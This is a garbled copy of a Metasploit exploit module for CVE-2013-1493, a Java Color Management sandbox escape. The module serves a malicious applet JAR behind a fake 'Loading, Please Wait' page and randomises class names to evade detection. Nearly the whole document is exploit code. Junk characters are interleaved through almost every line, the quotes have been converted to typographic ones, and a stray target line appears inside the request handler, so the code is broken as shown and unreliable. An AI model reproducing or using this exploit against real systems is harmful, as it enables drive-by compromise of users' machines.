##8 ?. f/ L% g. b
, ~& g8 m7 I& C- c6 u4 |# This file is part of the Metasploit Framework and may be subject to3 ^ q/ z: u/ U/ a% Q
# redistribution and commercial restrictions. Please see the Metasploit( b" s% s$ p O ]" `! Q L
# web site for more information on licensing and terms of use.
H; B& _' B4 T, U# http://metasploit.com/, I- h3 W% A3 P; V
##
5 p$ R! w5 V- Z8 G& p# q$ _require ‘msf/core’
# C% {" K1 s9 T& b3 ^0 u- }require ‘rex’
; v$ h1 U( A! z# k" _+ X* ~class Metasploit3 < Msf::Exploit::Remote
# s6 G6 k0 M6 f! H* iRank = NormalRanking
" L; z8 Y8 O9 ^2 l5 [/ x) n' k; |include Msf::Exploit::Remote::HttpServer::HTML
3 S* N5 I2 L. q U+ M/ ninclude Msf::Exploit::EXE
$ Q- Z% Y( w7 g" finclude Msf::Exploit::Remote::BrowserAutopwn' f, i2 ], U/ c! r/ I, u, U
autopwn_info({ :javascript => false })1 R1 u6 y. G' X
def initialize( info = {} ) Z* D9 j# W& i# B3 V7 B& U4 F
super( update_info( info,
8 B! q( B1 G6 g9 a‘Name’ => ‘Java CMM Remote Code Execution’,
2 `: u u8 u g‘Description’ => %q{3 `2 E) M$ o/ k
This module abuses the Color Management classes from a Java Applet to run8 k) N* W4 w5 @; v# w
arbitrary Java code outside of the sandbox as exploited in the wild in February
) v8 S8 l0 R% y9 |. }. Vand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
3 ^) \* _# f W2 v+ M& }5 yand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
! k+ Q. l& x2 B1 o4 ksystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
: {$ E* ~8 q/ Y) ^, J' I$ u# Owarning in order to run the malicious applet.! _0 V# T& j8 |) r' v+ @
},
1 w/ g% h' _6 T6 P! h‘License’ => MSF_LICENSE,6 {# \; X5 J3 O- }3 I" z- h
‘Author’ =>) d- N: c6 V' G: [' L( V
'Unknown', # Vulnerability discovery and Exploit
: p0 X9 W5 C9 n'juan vazquez' # Metasploit module (just ported the published exploit)
' _ O: M' m* |+ X% K],. |! u3 z% J/ ~
‘References’ =>; F1 P4 _5 ?8 J, G( @ u$ w. C- R# [
[
" S1 [. }" {+ R8 |7 |5 |[ 'CVE', '2013-1493' ],+ L7 p; U9 i' A
[ 'OSVDB', '90737' ],* g. W+ [3 j% A) U4 z+ b
[ 'BID', '58238' ],
2 H) d ?* Y8 R2 R6 X) t- L/ R[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
( Q% T) `+ H& s! q$ T- }4 G' ?- m[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
# j& |0 X3 s# [[ 'URL', 'http://pastie.org/pastes/6581034' ]
8 g: \2 K1 L$ x1 I7 I5 |],8 n( K! S# ^& {& ~% I
‘Platform’ => [ 'win', 'java' ],
( S" T" N: }1 p7 L1 `/ h4 p1 X1 W4 @! Q‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
& \4 Q$ G' b2 W‘Targets’ =>% j# F7 ~7 C, x5 M/ v
[* _1 b2 v. J, g, Q7 \
[ 'Generic (Java Payload)',
* T$ i9 c8 f: i m+ V9 Q# z{
1 U2 k+ j, e3 G8 ]'Platform' => 'java',( @3 u" y: b0 G7 k$ t
'Arch' => ARCH_JAVA$ P% z' ^( ]" i/ P9 N% B. y5 ~6 r
}- B9 o1 J H3 |4 P6 {* j
],
8 J7 ]! q4 c6 G[ 'Windows x86 (Native Payload)'," ~ J% G+ W- b+ p; @
{
3 R# L( P/ Z- u: q0 w9 O'Platform' => 'win',1 R p4 ^( l: ~5 O2 L0 A- H2 _
'Arch' => ARCH_X864 S& ?, K! r! U' T" c; S
}% J4 ?, ]1 |4 L6 W! [
]
- [/ s& l+ v; a- [4 o],
3 i: J3 I8 P7 Z9 q‘‘DisclosureDate’ => ‘Mar 01 2013′, m0 ?6 N6 |9 v& R" w
))
4 h1 h5 @6 f" i# A! ?' q/ t" Dend
3 z* I. W5 G5 o, d9 h* ydef setup3 P7 d+ U w/ d2 ]* v/ s9 _3 P* i
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)& _9 | G' }' I, t; B: M0 J) e5 W
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }7 e2 Z9 h) X) E# |( Q; q
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
* [ }. b4 Y8 a( e# t@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
( X) n0 i0 s2 h$ Q; Bpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)) c- E* m9 W* F* j
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
& D# O% E# v1 X, R m; Ypath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”): T& P* d, Y3 ?1 W( \$ l
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) } T; [2 F1 `: E0 U% O
@init_class_name = rand_text_alpha(“Init”.length). H5 m8 O: |$ x1 I
@init_class.gsub!(“Init”, @init_class_name)3 D# Y0 s9 h2 J/ W* m4 l b
super% {4 E4 g- H% ~% ?$ h4 s
end
% G+ Q! e& l* c. Kdef on_request_uri(cli, request)
) h$ x9 g) K$ M/ b; H- xprint_status(“handling request for #{request.uri}”)* ]; n& |+ d9 C; V
case request.uri( c3 C1 A M7 Y z: c
when /\.jar$/i
+ T2 ^3 a8 @2 ~* E7 l( n- qjar = payload.encoded_jar3 v+ Q( x' w z0 ]: g' X f3 i
jar.add_file(“#{@init_class_name}.class”, @init_class)% [; a+ x' I3 N; o d
jar.add_file(“Leak.class”, @leak_class)# ?% s1 e6 F) u/ V/ L
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)$ o' ], x% g0 B' p5 D9 D
jar.add_file(“MyColorSpace.class”, @color_space_class)
% A+ g* S" Z# l+ Y6 ~DefaultTarget’ => 1,
4 J* F0 J8 Z: Dmetasploit_str = rand_text_alpha(“metasploit”.length)1 d; o& a# W. o2 Z5 `( E
payload_str = rand_text_alpha(“payload”.length)& p d0 v. j' e) K% ~1 f; |% g1 ?
jar.entries.each { |entry|
2 u, q- M; o* C; Z$ Jentry.name.gsub!(“metasploit”, metasploit_str)
9 s5 x0 j/ V5 C+ D0 U- u6 b3 ientry.name.gsub!(“Payload”, payload_str)6 E; @. s2 L* p! y0 h% w! p8 X0 u# q
entry.data = entry.data.gsub(“metasploit”, metasploit_str)3 x3 ]# c1 ^' A' B# M
entry.data = entry.data.gsub(“Payload”, payload_str)
# y; H$ D u2 V, g# Y}/ ]6 }, H! V2 `3 y F
jar.build_manifest, B- V5 G4 z r# ~) i: E: v
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })1 K9 K' @0 c: U9 E
when /\/$/
! @' _4 k6 N! N, t* P/ q% }, |payload = regenerate_payload(cli)
) _2 u& R' I/ I9 m2 D' [! eif not payload
4 Q% m) P4 V& |% p$ ]print_error(“Failed to generate the payload.”)" W- X' c" g: b1 P( }
send_not_found(cli). ]1 r: o: a8 [9 ?
return
) w3 W5 V% q3 J$ w; ]end) n( k+ ? Z8 Z" H" Z7 u# Z
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
1 M4 x/ E5 h+ U2 a+ ?else% P# c b# o% M0 u+ v
send_redirect(cli, get_resource() + ‘/’, ”)
0 _; p; Y# B) C% ?end
! ^9 |$ g4 {$ Lend
5 P5 \. ^8 J3 Z7 T4 hdef generate_html4 C# R* J2 l7 L; a4 j
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|& K0 k$ F$ u6 j; r! l
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
2 i5 T: u* P; c' Hhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
# Q; Q! ]3 E7 |( @4 g( Dhtml += %Q|</applet></body></html>|# h1 z0 `! j- O2 X: n
return html
2 s* i( |, r+ p) W! Y! C4 {% tend
9 u+ y; W% j) ]0 I mend$ k7 _: A0 G* m A, z$ C
end5 A5 A' \' _- [+ C& s6 O. d6 D; e
|